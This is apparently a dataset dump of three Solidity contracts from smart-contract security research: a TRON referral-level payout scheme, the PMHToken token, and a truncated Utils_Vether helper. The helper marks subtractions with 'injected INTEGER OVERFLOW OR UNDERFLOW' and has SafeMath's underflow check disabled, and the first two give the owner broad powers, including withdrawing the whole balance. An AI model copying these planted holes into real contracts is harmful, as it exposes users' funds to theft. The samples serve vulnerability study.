LEVEL_PRICE[12] = 50000 trx;
LEVEL_PRICE[13] = 100 trx;
LEVEL_PRICE[14] = 200 trx;
LEVEL_PRICE[15] = 400 trx;
LEVEL_PRICE[16] = 600 trx;
LEVEL_PRICE[17] = 800 trx;
LEVEL_PRICE[18] = 1000 trx;
LEVEL_PRICE[19] = 2000 trx;
LEVEL_PRICE[20] = 4000 trx;
LEVEL_PRICE[21] = 8000 trx;
LEVEL_PRICE[22] = 16000 trx;
LEVEL_PRICE[23] = 25000 trx;
LEVEL_PRICE[24] = 50000 trx;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: 0,
referral: new address[](0),
directSponsor: 0,
directIncome:0,
currentLevel:12,
spilloverLevel: 12,
placementIncome:0,
autopoolIncome:0,
levelIncome:0,
referralCounter: 0
});
users[_owner] = userStruct;
userList[currUserID] = _owner;
for(uint i = 1; i <= 24; i++) {
users[_owner].levelExpired[i] = 55555555555;
}
}
function regUser(uint _referrerID) public payable {
require(!users[msg.sender].isExist, 'User exist');
require(_referrerID > 0 && _referrerID <= currUserID, 'Incorrect referrer Id');
require(msg.value == LEVEL_PRICE[1] + LEVEL_PRICE[13], 'Incorrect Value');
uint tempReferrerID = _referrerID;
if(users[userList[_referrerID]].referral.length >= REFERRER_1_LEVEL_LIMIT)
_referrerID = users[findFreeReferrer(userList[_referrerID])].id;
UserStruct memory userStruct;
currUserID++;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
referral: new address[](0),
directSponsor: tempReferrerID,
directIncome:0,
currentLevel:1,
spilloverLevel: 1,
placementIncome:0,
autopoolIncome:0,
levelIncome:0,
referralCounter: 0
});
users[msg.sender] = userStruct;
userList[currUserID] = msg.sender;
users[msg.sender].levelExpired[1] = now + PERIOD_LENGTH;
users[userList[_referrerID]].referral.push(msg.sender);
payForLevel(0,1, msg.sender,userList[_referrerID],msg.sender);
buyLevel(13);
//increase the referral counter;
users[userList[tempReferrerID]].referralCounter++;
emit regLevelEvent(msg.sender, userList[tempReferrerID], now);
}
function regAdmins(address [] memory _adminAddress) public {
require(msg.sender == ownerWallet,"You are not authorized");
require(currUserID <= 8, "No more admins can be registered");
UserStruct memory userStruct;
for(uint i = 0; i < _adminAddress.length; i++){
currUserID++;
uint _referrerID = 1;
uint tempReferrerID = _referrerID;
if(users[userList[_referrerID]].referral.length >= REFERRER_1_LEVEL_LIMIT)
_referrerID = users[findFreeReferrer(userList[_referrerID])].id;
userStruct = UserStruct({
isExist: true,
id: currUserID,
referrerID: _referrerID,
referral: new address[](0),
directSponsor: tempReferrerID,
directIncome:0,
currentLevel:12,
spilloverLevel:12,
placementIncome:0,
autopoolIncome:0,
levelIncome:0,
referralCounter: 0
});
users[_adminAddress[i]] = userStruct;
userList[currUserID] = _adminAddress[i];
for(uint j = 1; j <= 24; j++) {
users[_adminAddress[i]].levelExpired[j] = 55555555555;
}
users[userList[_referrerID]].referral.push(_adminAddress[i]);
//increase the referral counter;
users[userList[tempReferrerID]].referralCounter++;
emit regLevelEvent(msg.sender, userList[tempReferrerID], now);
}
}
function buyLevel(uint _level) public payable {
require(users[msg.sender].isExist, 'User not exist');
require(_level > 0 && _level <= 24, 'Incorrect level');
require(users[msg.sender].levelExpired[_level] <= 0,'User already upgraded this level');
if(_level == 1) {
require(msg.value >= LEVEL_PRICE[1], 'Incorrect Value');
users[msg.sender].levelExpired[1] += PERIOD_LENGTH;
}
else {
require(msg.value >= LEVEL_PRICE[_level], 'Incorrect Value');
if(_level <= 12)
for(uint l =_level - 1; l > 0; l--) require(users[msg.sender].levelExpired[l] >= now, 'Buy the previous level');
else
for(uint l =_level - 1; l > 12; l--) require(users[msg.sender].levelExpired[l] >= now, 'Buy the previous level');
if(_level > 12)
require(users[msg.sender].levelExpired[_level - 12] >= now, 'You are not eligible to buy this level');
if(users[msg.sender].levelExpired[_level] == 0) users[msg.sender].levelExpired[_level] = now + PERIOD_LENGTH;
else users[msg.sender].levelExpired[_level] += PERIOD_LENGTH;
}
payForLevel(0,_level, msg.sender, userList[users[msg.sender].directSponsor],msg.sender);
if(_level <= 12)
users[msg.sender].currentLevel = _level;
else
users[msg.sender].spilloverLevel = _level - 12;
emit buyLevelEvent(msg.sender, _level, now);
}
function payForLevel(uint flag,uint _level, address _user, address _sponsor,address actualUser) internal {
address actualReferer;
address referer1;
address referer2;
if(_level == 1 || _level == 7)
{
referer1 = userList[users[_user].directSponsor];
actualReferer = userList[users[_user].referrerID];
}
else if(_level == 2 || _level == 8) {
referer1 = userList[users[_user].referrerID];
actualReferer = userList[users[referer1].referrerID];
}
else if(_level == 3 || _level == 9) {
referer1 = userList[users[_user].referrerID];
referer2 = userList[users[referer1].referrerID];
actualReferer = userList[users[referer2].referrerID];
}
else if(_level == 4 || _level == 10) {
referer1 = userList[users[_user].referrerID];
referer2 = userList[users[referer1].referrerID];
referer1 = userList[users[referer2].referrerID];
actualReferer = userList[users[referer1].referrerID];
}
else if(_level == 5 || _level == 11) {
referer1 = userList[users[_user].referrerID];
referer2 = userList[users[referer1].referrerID];
referer1 = userList[users[referer2].referrerID];
referer2 = userList[users[referer1].referrerID];
actualReferer = userList[users[referer2].referrerID];
}
else if(_level == 6 || _level == 12) {
referer1 = userList[users[_user].referrerID];
referer2 = userList[users[referer1].referrerID];
referer1 = userList[users[referer2].referrerID];
referer2 = userList[users[referer1].referrerID];
referer1 = userList[users[referer2].referrerID];
actualReferer = userList[users[referer1].referrerID];
}
if(!users[actualReferer].isExist) actualReferer = userList[1];
if(!users[referer1].isExist) referer1 = userList[1];
bool sent = false;
if(_level <= 12) {
uint percentageAmount = (LEVEL_PRICE[_level]*40)/100;
uint transferAmount = percentageAmount - (percentageAmount*5)/100;
if(flag == 0){
address currentdirectSponsor = userList[users[_user].directSponsor];
if(!users[currentdirectSponsor].isExist) currentdirectSponsor = userList[1];
if(users[currentdirectSponsor].levelExpired[_level] >= now) {
sent = address(uint160(currentdirectSponsor)).send(transferAmount);
address(uint160(ownerWallet)).transfer((percentageAmount*5)/100);
users[currentdirectSponsor].directIncome += transferAmount;
emit getSponsorBonusEvent(currentdirectSponsor, msg.sender, _level, now);
}else{
address(uint160(ownerWallet)).transfer(transferAmount);
address(uint160(ownerWallet)).transfer((percentageAmount*5)/100);
emit lostMoneyForLevelEvent(currentdirectSponsor, msg.sender, _level, now,3,transferAmount);
}
}
if(users[actualReferer].levelExpired[_level] >= now) {
sent = address(uint160(actualReferer)).send(transferAmount);
if (sent) {
address(uint160(ownerWallet)).transfer((percentageAmount*5)/100);
emit getPoolPayment(msg.sender, actualReferer,_level, now,transferAmount);
users[actualReferer].placementIncome += transferAmount;
}
else {
address(uint160(ownerWallet)).transfer((percentageAmount*5)/100);
address(uint160(ownerWallet)).transfer(transferAmount);
emit lostMoneyForLevelEvent(actualReferer, msg.sender, _level, now,1,transferAmount);
}
payReferral(_level,(LEVEL_PRICE[_level] * 20) / 100,actualUser);
}
else {
emit lostMoneyForLevelEvent(actualReferer, msg.sender, _level, now, 1,transferAmount);
payForLevel(1,_level, actualReferer, _sponsor,actualUser);
}
}
else {
uint transferAmount = (LEVEL_PRICE[_level]*20)/100;
actualReferer = userList[users[_user].referrerID];
if(!users[actualReferer].isExist) actualReferer = userList[1];
if(users[actualReferer].levelExpired[_level] >= now) {
payReferral(_level,LEVEL_PRICE[_level],_user);
}
else {
emit lostMoneyForLevelEvent(actualReferer, msg.sender, _level, now, 2,transferAmount);
payForLevel(0,_level, actualReferer, _sponsor,actualUser);
}
}
}
function payReferral(uint _level, uint _poolprice, address _user) internal {
address referer;
bool sent = false;
uint level_price_local=0 trx;
uint level_price_owner=0 trx;
uint looplength;
if(_level <= 12)
looplength = 10;
else
looplength = 5;
for (uint8 i = 1; i <= looplength; i++) {
referer = userList[users[_user].referrerID];
if(_level <= 12)
level_price_local=(_poolprice*10)/100;
else
level_price_local=(_poolprice*20)/100;
level_price_owner = (level_price_local * 5) / 100;
level_price_local = level_price_local - level_price_owner;
if(users[referer].isExist)
{
if(users[referer].levelExpired[_level] >= now){
sent = address(uint160(referer)).send(level_price_local);
if (sent)
{
emit getMoneyForLevelEvent(msg.sender, referer, _level, i, now, level_price_local);
if(_level <= 12)
users[referer].levelIncome += level_price_local;
else
users[referer].autopoolIncome += level_price_local;
}
}else{
emit lostMoneyForLevelEvent(referer, msg.sender, _level, now, 2,level_price_local);
sent = address(uint160(ownerWallet)).send(level_price_local);
if(_level <= 12)
users[ownerWallet].levelIncome += level_price_local;
else
users[ownerWallet].autopoolIncome += level_price_local;
emit getMoneyForLevelEvent(msg.sender, ownerWallet, _level, i, now, level_price_local);
}
}
else
{
sent = address(uint160(ownerWallet)).send(level_price_local);
if (!sent)
{
sendBalance();
}else{
if(_level <= 12)
users[ownerWallet].levelIncome += level_price_local;
else
users[ownerWallet].autopoolIncome += level_price_local;
emit getMoneyForLevelEvent(msg.sender, ownerWallet, _level, i, now, level_price_local);
}
}
sent = address(uint160(ownerWallet)).send(level_price_owner);
if (!sent)
{
sendBalance();
}
_user = referer;
}
}
function findFreeReferrer(address _user) public view returns(address) {
if(users[_user].referral.length < REFERRER_1_LEVEL_LIMIT) return _user;
address[] memory referrals = new address[](1022);
referrals[0] = users[_user].referral[0];
referrals[1] = users[_user].referral[1];
address freeReferrer;
bool noFreeReferrer = true;
for(uint i = 0; i < 1022; i++) {
if(users[referrals[i]].referral.length == REFERRER_1_LEVEL_LIMIT) {
if(i < 62) {
referrals[(i+1)*2] = users[referrals[i]].referral[0];
referrals[(i+1)*2+1] = users[referrals[i]].referral[1];
}
}
else {
noFreeReferrer = false;
freeReferrer = referrals[i];
break;
}
}
require(!noFreeReferrer, 'No Free Referrer');
return freeReferrer;
}
function viewUserReferral(address _user) public view returns(address[] memory) {
return users[_user].referral;
}
function viewUserLevelExpired(address _user, uint _level) public view returns(uint) {
return users[_user].levelExpired[_level];
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function transferOwnership(address newOwner) external {
require(msg.sender == ownerWallet,"You are not authorized");
_transferOwnership(newOwner);
}
function sendBalance() private
{
if (!address(uint160(ownerWallet)).send(address(this).balance))
{
}
}
function withdrawSafe(uint _amount) external {
require(msg.sender==ownerWallet,'Permission denied');
if (_amount > 0) {
uint contractBalance = address(this).balance;
if (contractBalance > 0) {
uint amtToTransfer = _amount > contractBalance ? contractBalance : _amount;
msg.sender.transfer(amtToTransfer);
}
}
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "New owner cannot be the zero address");
emit OwnershipTransferred(ownerWallet, newOwner);
ownerWallet = newOwner;
}
}
| 295,654 | 11,116 |
c9500e6b8d1680923627488628a3bfdc128b13a5265e3df5a3887bd87a3d2451
| 17,282 |
.sol
|
Solidity
| false |
504446259
|
EthereumContractBackdoor/PiedPiperBackdoor
|
0088a22f31f0958e614f28a10909c9580f0e70d9
|
contracts/realworld-contracts/0xa52c8371d379d7036a862673b08bd73faf4660fd.sol
| 3,868 | 15,521 |
pragma solidity ^0.4.18;
contract owned {
address public owner; // Owner address.
function owned() internal {
owner = msg.sender ;
}
modifier onlyOwner {
require(msg.sender == owner); _;
}
function transferOwnership(address newOwner) onlyOwner public {
owner = newOwner;
}
}
contract token {
string public name; // Name for the token.
string public symbol; // Symbol for the token.
uint8 public decimals; // Number of decimals of the token.
uint256 public totalSupply; // Total of tokens created.
// Array containing the balance foreach address.
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
function token(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol) internal {
balanceOf[msg.sender] = initialSupply; // Gives the creator all initial tokens.
totalSupply = initialSupply; // Update total supply.
name = tokenName; // Set the name for display purposes.
symbol = tokenSymbol; // Set the symbol for display purposes.
decimals = decimalUnits; // Amount of decimals for display purposes.
}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0); // Prevent transfer to 0x0 address.
require(balanceOf[_from] > _value); // Check if the sender has enough.
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows.
balanceOf[_from] -= _value; // Subtract from the sender.
balanceOf[_to] += _value; // Add the same to the recipient.
Transfer(_from, _to, _value); // Notifies the blockchain about the transfer.
}
/// @notice Send `_value` tokens to `_to` from your account.
/// @param _to The address of the recipient.
/// @param _value The amount to send.
function transfer(address _to, uint256 _value) public {
_transfer(msg.sender, _to, _value);
}
/// @notice Send `_value` tokens to `_to` in behalf of `_from`.
/// @param _from The address of the sender.
/// @param _to The address of the recipient.
/// @param _value The amount to send.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance.
allowance[_from][msg.sender] -= _value; // Updates the allowance array, substracting the amount sent.
_transfer(_from, _to, _value); // Makes the transfer.
return true;
}
/// @notice Allows `_spender` to spend a maximum of `_value` tokens in your behalf.
/// @param _spender The address authorized to spend.
/// @param _value The max amount they can spend.
function approve(address _spender, uint256 _value) public returns (bool success) {
allowance[msg.sender][_spender] = _value; // Adds a new register to allowance, permiting _spender to use _value of your tokens.
return true;
}
}
contract PMHToken is owned, token {
uint256 public sellPrice = 5000000000000000; // Price applied if someone wants to sell a token.
uint256 public buyPrice = 10000000000000000; // Price applied if someone wants to buy a token.
bool public closeBuy = false; // If true, nobody will be able to buy.
bool public closeSell = false; // If true, nobody will be able to sell.
uint256 public tokensAvailable = balanceOf[this]; // Number of tokens available for sell.
uint256 public solvency = this.balance; // Amount of Ether available to pay sales.
uint256 public profit = 0; // Shows the actual profit for the company.
address public comisionGetter = 0x70B593f89DaCF6e3BD3e5bD867113FEF0B2ee7aD ; // The address that gets the comisions paid.
// added MAR 2018
mapping (address => string) public emails ; // Array containing the e-mail addresses of the token holders
mapping (uint => uint) public dividends ; // for each period in the index, how many weis set for dividends distribution
mapping (address => uint[]) public paidDividends ; // for each address, if the period dividend was paid or not and the amount
// added MAR 2018
mapping (address => bool) public frozenAccount; // Array containing foreach address if it's frozen or not.
event FrozenFunds(address target, bool frozen);
event LogDeposit(address sender, uint amount);
event LogWithdrawal(address receiver, uint amount);
function PMHToken(uint256 initialSupply, string tokenName, uint8 decimalUnits, string tokenSymbol) public
token (initialSupply, tokenName, decimalUnits, tokenSymbol) {}
function _transfer(address _from, address _to, uint _value) internal {
require(_to != 0x0); // Prevent transfer to 0x0 address.
require(balanceOf[_from] >= _value); // Check if the sender has enough.
require(balanceOf[_to] + _value > balanceOf[_to]); // Check for overflows.
require(!frozenAccount[_from]); // Check if sender is frozen.
require(!frozenAccount[_to]); // Check if recipient is frozen.
balanceOf[_from] -= _value; // Subtracts _value tokens from the sender.
balanceOf[_to] += _value; // Adds the same amount to the recipient.
_updateTokensAvailable(balanceOf[this]); // Update the balance of tokens available if necessary.
Transfer(_from, _to, _value); // Notifies the blockchain about the transfer.
}
function refillTokens(uint256 _value) public onlyOwner{
// Owner sends tokens to the contract.
_transfer(msg.sender, this, _value);
}
function transfer(address _to, uint256 _value) public {
// This function requires a comision value of 0.4% of the market value.
uint market_value = _value * sellPrice;
uint comision = market_value * 4 / 1000;
// The token smart-contract pays comision, else the transfer is not possible.
require(this.balance >= comision);
comisionGetter.transfer(comision); // Transfers comision to the comisionGetter.
_transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance.
// This function requires a comision value of 0.4% of the market value.
uint market_value = _value * sellPrice;
uint comision = market_value * 4 / 1000;
// The token smart-contract pays comision, else the transfer is not possible.
require(this.balance >= comision);
comisionGetter.transfer(comision); // Transfers comision to the comisionGetter.
allowance[_from][msg.sender] -= _value; // Updates the allowance array, substracting the amount sent.
_transfer(_from, _to, _value); // Makes the transfer.
return true;
}
function _updateTokensAvailable(uint256 _tokensAvailable) internal { tokensAvailable = _tokensAvailable; }
function _updateSolvency(uint256 _solvency) internal { solvency = _solvency; }
function _updateProfit(uint256 _increment, bool add) internal{
if (add){
// Increase the profit value
profit = profit + _increment;
}else{
// Decrease the profit value
if(_increment > profit){ profit = 0; }
else{ profit = profit - _increment; }
}
}
/// @notice Create `mintedAmount` tokens and send it to `target`.
/// @param target Address to receive the tokens.
/// @param mintedAmount The amount of tokens target will receive.
function mintToken(address target, uint256 mintedAmount) onlyOwner public {
balanceOf[target] += mintedAmount; // Updates target's balance.
totalSupply += mintedAmount; // Updates totalSupply.
_updateTokensAvailable(balanceOf[this]); // Update the balance of tokens available if necessary.
Transfer(0, this, mintedAmount); // Notifies the blockchain about the tokens created.
Transfer(this, target, mintedAmount); // Notifies the blockchain about the transfer to target.
}
/// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens.
/// @param target Address to be frozen.
/// @param freeze Either to freeze target or not.
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze; // Sets the target status. True if it's frozen, False if it's not.
FrozenFunds(target, freeze); // Notifies the blockchain about the change of state.
}
/// @param newSellPrice Price applied when an address sells its tokens, amount in WEI (1ETH = 10WEI).
/// @param newBuyPrice Price applied when an address buys tokens, amount in WEI (1ETH = 10WEI).
function setPrices(uint256 newSellPrice, uint256 newBuyPrice) onlyOwner public {
sellPrice = newSellPrice; // Updates the buying price.
buyPrice = newBuyPrice; // Updates the selling price.
}
/// @notice Sets the state of buy and sell operations
/// @param isClosedBuy True if buy operations are closed, False if opened.
/// @param isClosedSell True if sell operations are closed, False if opened.
function setStatus(bool isClosedBuy, bool isClosedSell) onlyOwner public {
closeBuy = isClosedBuy; // Updates the state of buy operations.
closeSell = isClosedSell; // Updates the state of sell operations.
}
/// @notice Deposits Ether to the contract
function deposit() payable public returns(bool success) {
require((this.balance + msg.value) > this.balance); // Checks for overflows.
//Contract has already received the Ether when this function is executed.
_updateSolvency(this.balance); // Updates the solvency value of the contract.
_updateProfit(msg.value, false); // Decrease profit value.
// Decrease because deposits will be done mostly by the owner.
// Possible donations won't count as profit for the company, but in favor of the investors.
LogDeposit(msg.sender, msg.value); // Notifies the blockchain about the Ether received.
return true;
}
/// @notice The owner withdraws Ether from the contract.
/// @param amountInWeis Amount of ETH in WEI which will be withdrawed.
function withdraw(uint amountInWeis) onlyOwner public {
LogWithdrawal(msg.sender, amountInWeis); // Notifies the blockchain about the withdrawal.
_updateSolvency((this.balance - amountInWeis)); // Updates the solvency value of the contract.
_updateProfit(amountInWeis, true); // Increase the profit value.
owner.transfer(amountInWeis); // Sends the Ether to owner address.
}
function withdrawDividends(uint amountInWeis) internal returns(bool success) {
LogWithdrawal(msg.sender, amountInWeis); // Notifies the blockchain about the withdrawal.
_updateSolvency((this.balance - amountInWeis)); // Updates the solvency value of the contract.
msg.sender.transfer(amountInWeis); // Sends the Ether to owner address.
return true ;
}
/// @notice Buy tokens from contract by sending Ether.
function buy() public payable {
require(!closeBuy); //Buy operations must be opened
uint amount = msg.value / buyPrice; //Calculates the amount of tokens to be sent
uint market_value = amount * buyPrice; //Market value for this amount
uint comision = market_value * 4 / 1000; //Calculates the comision for this transaction
uint profit_in_transaction = market_value - (amount * sellPrice) - comision; //Calculates the relative profit for this transaction
require(this.balance >= comision); //The token smart-contract pays comision, else the operation is not possible.
comisionGetter.transfer(comision); //Transfers comision to the comisionGetter.
_transfer(this, msg.sender, amount); //Makes the transfer of tokens.
_updateSolvency((this.balance - profit_in_transaction)); //Updates the solvency value of the contract.
_updateProfit(profit_in_transaction, true); //Increase the profit value.
owner.transfer(profit_in_transaction); //Sends profit to the owner of the contract.
}
/// @notice Sell `amount` tokens to the contract.
/// @param amount amount of tokens to be sold.
function sell(uint256 amount) public {
require(!closeSell); //Sell operations must be opened
uint market_value = amount * sellPrice; //Market value for this amount
uint comision = market_value * 4 / 1000; //Calculates the comision for this transaction
uint amount_weis = market_value + comision; //Total in weis that must be paid
require(this.balance >= amount_weis); //Contract must have enough weis
comisionGetter.transfer(comision); //Transfers comision to the comisionGetter
_transfer(msg.sender, this, amount); //Makes the transfer of tokens, the contract receives the tokens.
_updateSolvency((this.balance - amount_weis)); //Updates the solvency value of the contract.
msg.sender.transfer(market_value); //Sends Ether to the seller.
}
/// Default function, sender buys tokens by sending ether to the contract:
function () public payable { buy(); }
function setDividends(uint _period, uint _totalAmount) onlyOwner public returns (bool success) {
require(this.balance >= _totalAmount) ;
// period is 201801 201802 etc. yyyymm - no more than 1 dividend distribution per month
dividends[_period] = _totalAmount ;
return true ;
}
function setEmail(string _email) public returns (bool success) {
require(balanceOf[msg.sender] > 0) ;
// require(emails[msg.sender] == "") ; // checks the e-mail for this address was not already set
emails[msg.sender] = _email ;
return true ;
}
function dividendsGetPaid(uint _period) public returns (bool success) {
uint percentageDividends ;
uint qtyDividends ;
require(!frozenAccount[msg.sender]); // frozen accounts are not allowed to withdraw ether
require(balanceOf[msg.sender] > 0) ; // sender has a positive balance of tokens to get paid
require(dividends[_period] > 0) ; // there is an active dividend period
require(paidDividends[msg.sender][_period] == 0) ; // the dividend for this token holder was not yet paid
// using here a 10000 (ten thousand) arbitrary multiplying factor for floating point precision
percentageDividends = (balanceOf[msg.sender] / totalSupply) * 10000 ;
qtyDividends = (percentageDividends * dividends[_period]) / 10000 ;
require(this.balance >= qtyDividends) ; // contract has enough ether to pay this dividend
paidDividends[msg.sender][_period] = qtyDividends ; // record the dividend was paid
require(withdrawDividends(qtyDividends));
return true ;
}
function adminResetEmail(address _address, string _newEmail) public onlyOwner {
require(balanceOf[_address] > 0) ;
emails[_address] = _newEmail ;
}
}
| 146,374 | 11,117 |
a3ca5f74fd73679c3209f9c22f8722a11fd683c5d859b8052cfd26737c75cd31
| 16,465 |
.sol
|
Solidity
| false |
293466625
|
xf97/HuangGai
|
40a349be6102d5eb63893fb914659405ae162d93
|
src/securityAbandonerAndInjector/integerOverflow/manualCheck/0x2e74525c491954be67e8847b087ed1c3c988635d_integerOverflow.sol
| 4,330 | 16,341 |
// SPDX-License-Identifier: UNLICENSED
pragma solidity 0.6.8;
pragma experimental ABIEncoderV2;
interface iERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint);
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
}
interface iROUTER {
function totalStaked() external view returns (uint);
function totalVolume() external view returns (uint);
function totalFees() external view returns (uint);
function unstakeTx() external view returns (uint);
function stakeTx() external view returns (uint);
function swapTx() external view returns (uint);
function tokenCount() external view returns(uint);
function getToken(uint) external view returns(address);
function getPool(address) external view returns(address payable);
function stakeForMember(uint inputBase, uint inputToken, address token, address member) external payable returns (uint units);
}
interface iPOOL {
function genesis() external view returns(uint);
function baseAmt() external view returns(uint);
function tokenAmt() external view returns(uint);
function baseAmtStaked() external view returns(uint);
function tokenAmtStaked() external view returns(uint);
function fees() external view returns(uint);
function volume() external view returns(uint);
function txCount() external view returns(uint);
function getBaseAmtStaked(address) external view returns(uint);
function getTokenAmtStaked(address) external view returns(uint);
function calcValueInBase(uint) external view returns (uint);
function calcValueInToken(uint) external view returns (uint);
function calcTokenPPinBase(uint) external view returns (uint);
function calcBasePPinToken(uint) external view returns (uint);
}
interface iDAO {
function ROUTER() external view returns(address);
}
// SafeMath
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
//require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Utils_Vether {
using SafeMath for uint;
address public BASE;
address public DEPLOYER;
iDAO public DAO;
uint public one = 10**18;
struct TokenDetails {
string name;
string symbol;
uint decimals;
uint totalSupply;
uint balance;
address tokenAddress;
}
struct ListedAssetDetails {
string name;
string symbol;
uint decimals;
uint totalSupply;
uint balance;
address tokenAddress;
bool hasClaimed;
}
struct GlobalDetails {
uint totalStaked;
uint totalVolume;
uint totalFees;
uint unstakeTx;
uint stakeTx;
uint swapTx;
}
struct PoolDataStruct {
address tokenAddress;
address poolAddress;
uint genesis;
uint baseAmt;
uint tokenAmt;
uint baseAmtStaked;
uint tokenAmtStaked;
uint fees;
uint volume;
uint txCount;
uint poolUnits;
}
// Only Deployer can execute
modifier onlyDeployer() {
require(msg.sender == DEPLOYER, "DeployerErr");
_;
}
constructor () public payable {
BASE = 0x4Ba6dDd7b89ed838FEd25d208D4f644106E34279;
DEPLOYER = msg.sender;
}
function setGenesisDao(address dao) public onlyDeployer {
DAO = iDAO(dao);
}
// function DAO() internal view returns(iDAO) {
// return DAO;
// }
//====================================DATA-HELPERS====================================//
function getTokenDetails(address token) public view returns (TokenDetails memory tokenDetails){
return getTokenDetailsWithMember(token, msg.sender);
}
function getTokenDetailsWithMember(address token, address member) public view returns (TokenDetails memory tokenDetails){
if(token == address(0)){
tokenDetails.name = 'ETHEREUM';
tokenDetails.symbol = 'ETH';
tokenDetails.decimals = 18;
tokenDetails.totalSupply = 100000000 * 10**18;
tokenDetails.balance = msg.sender.balance;
} else {
tokenDetails.name = iERC20(token).name();
tokenDetails.symbol = iERC20(token).symbol();
tokenDetails.decimals = iERC20(token).decimals();
tokenDetails.totalSupply = iERC20(token).totalSupply();
tokenDetails.balance = iERC20(token).balanceOf(member);
}
tokenDetails.tokenAddress = token;
return tokenDetails;
}
function getGlobalDetails() public view returns (GlobalDetails memory globalDetails){
globalDetails.totalStaked = iROUTER(DAO.ROUTER()).totalStaked();
globalDetails.totalVolume = iROUTER(DAO.ROUTER()).totalVolume();
globalDetails.totalFees = iROUTER(DAO.ROUTER()).totalFees();
globalDetails.unstakeTx = iROUTER(DAO.ROUTER()).unstakeTx();
globalDetails.stakeTx = iROUTER(DAO.ROUTER()).stakeTx();
globalDetails.swapTx = iROUTER(DAO.ROUTER()).swapTx();
return globalDetails;
}
function getPool(address token) public view returns(address payable pool){
return iROUTER(DAO.ROUTER()).getPool(token);
}
function tokenCount() public view returns (uint256 count){
return iROUTER(DAO.ROUTER()).tokenCount();
}
function allTokens() public view returns (address[] memory _allTokens){
return tokensInRange(0, iROUTER(DAO.ROUTER()).tokenCount()) ;
}
function tokensInRange(uint start, uint count) public view returns (address[] memory someTokens){
if(start.add(count) > tokenCount()){
count = tokenCount().sub(start); //injected INTEGER OVERFLOW OR UNDERFLOW
}
address[] memory result = new address[](count);
for (uint i = 0; i < count; i++){
result[i] = iROUTER(DAO.ROUTER()).getToken(i);
}
return result;
}
function allPools() public view returns (address[] memory _allPools){
return poolsInRange(0, tokenCount());
}
function poolsInRange(uint start, uint count) public view returns (address[] memory somePools){
if(start.add(count) > tokenCount()){
count = tokenCount().sub(start); //injected INTEGER OVERFLOW OR UNDERFLOW
}
address[] memory result = new address[](count);
for (uint i = 0; i<count; i++){
result[i] = getPool(iROUTER(DAO.ROUTER()).getToken(i));
}
return result;
}
function getPoolData(address token) public view returns(PoolDataStruct memory poolData){
address payable pool = getPool(token);
poolData.poolAddress = pool;
poolData.tokenAddress = token;
poolData.genesis = iPOOL(pool).genesis();
poolData.baseAmt = iPOOL(pool).baseAmt();
poolData.tokenAmt = iPOOL(pool).tokenAmt();
poolData.baseAmtStaked = iPOOL(pool).baseAmtStaked();
poolData.tokenAmtStaked = iPOOL(pool).tokenAmtStaked();
poolData.fees = iPOOL(pool).fees();
poolData.volume = iPOOL(pool).volume();
poolData.txCount = iPOOL(pool).txCount();
poolData.poolUnits = iERC20(pool).totalSupply();
return poolData;
}
function getMemberShare(address token, address member) public view returns(uint baseAmt, uint tokenAmt){
address pool = getPool(token);
uint units = iERC20(pool).balanceOf(member);
return getPoolShare(token, units);
}
function getPoolShare(address token, uint units) public view returns(uint baseAmt, uint tokenAmt){
address payable pool = getPool(token);
baseAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt());
tokenAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt());
return (baseAmt, tokenAmt);
}
function getShareOfBaseAmount(address token, address member) public view returns(uint baseAmt){
address payable pool = getPool(token);
uint units = iERC20(pool).balanceOf(member);
return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt());
}
function getShareOfTokenAmount(address token, address member) public view returns(uint baseAmt){
address payable pool = getPool(token);
uint units = iERC20(pool).balanceOf(member);
return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt());
}
function getPoolShareAssym(address token, uint units, bool toBase) public view returns(uint baseAmt, uint tokenAmt, uint outputAmt){
address payable pool = getPool(token);
if(toBase){
baseAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt());
tokenAmt = 0;
outputAmt = baseAmt;
} else {
baseAmt = 0;
tokenAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt());
outputAmt = tokenAmt;
}
return (baseAmt, tokenAmt, outputAmt);
}
function getPoolAge(address token) public view returns (uint daysSinceGenesis){
address payable pool = getPool(token);
uint genesis = iPOOL(pool).genesis();
if(now < genesis.add(86400)){
return 1;
} else {
return (now.sub(genesis)).div(86400);
}
}
function getPoolROI(address token) public view returns (uint roi){
address payable pool = getPool(token);
uint _baseStart = iPOOL(pool).baseAmtStaked().mul(2);
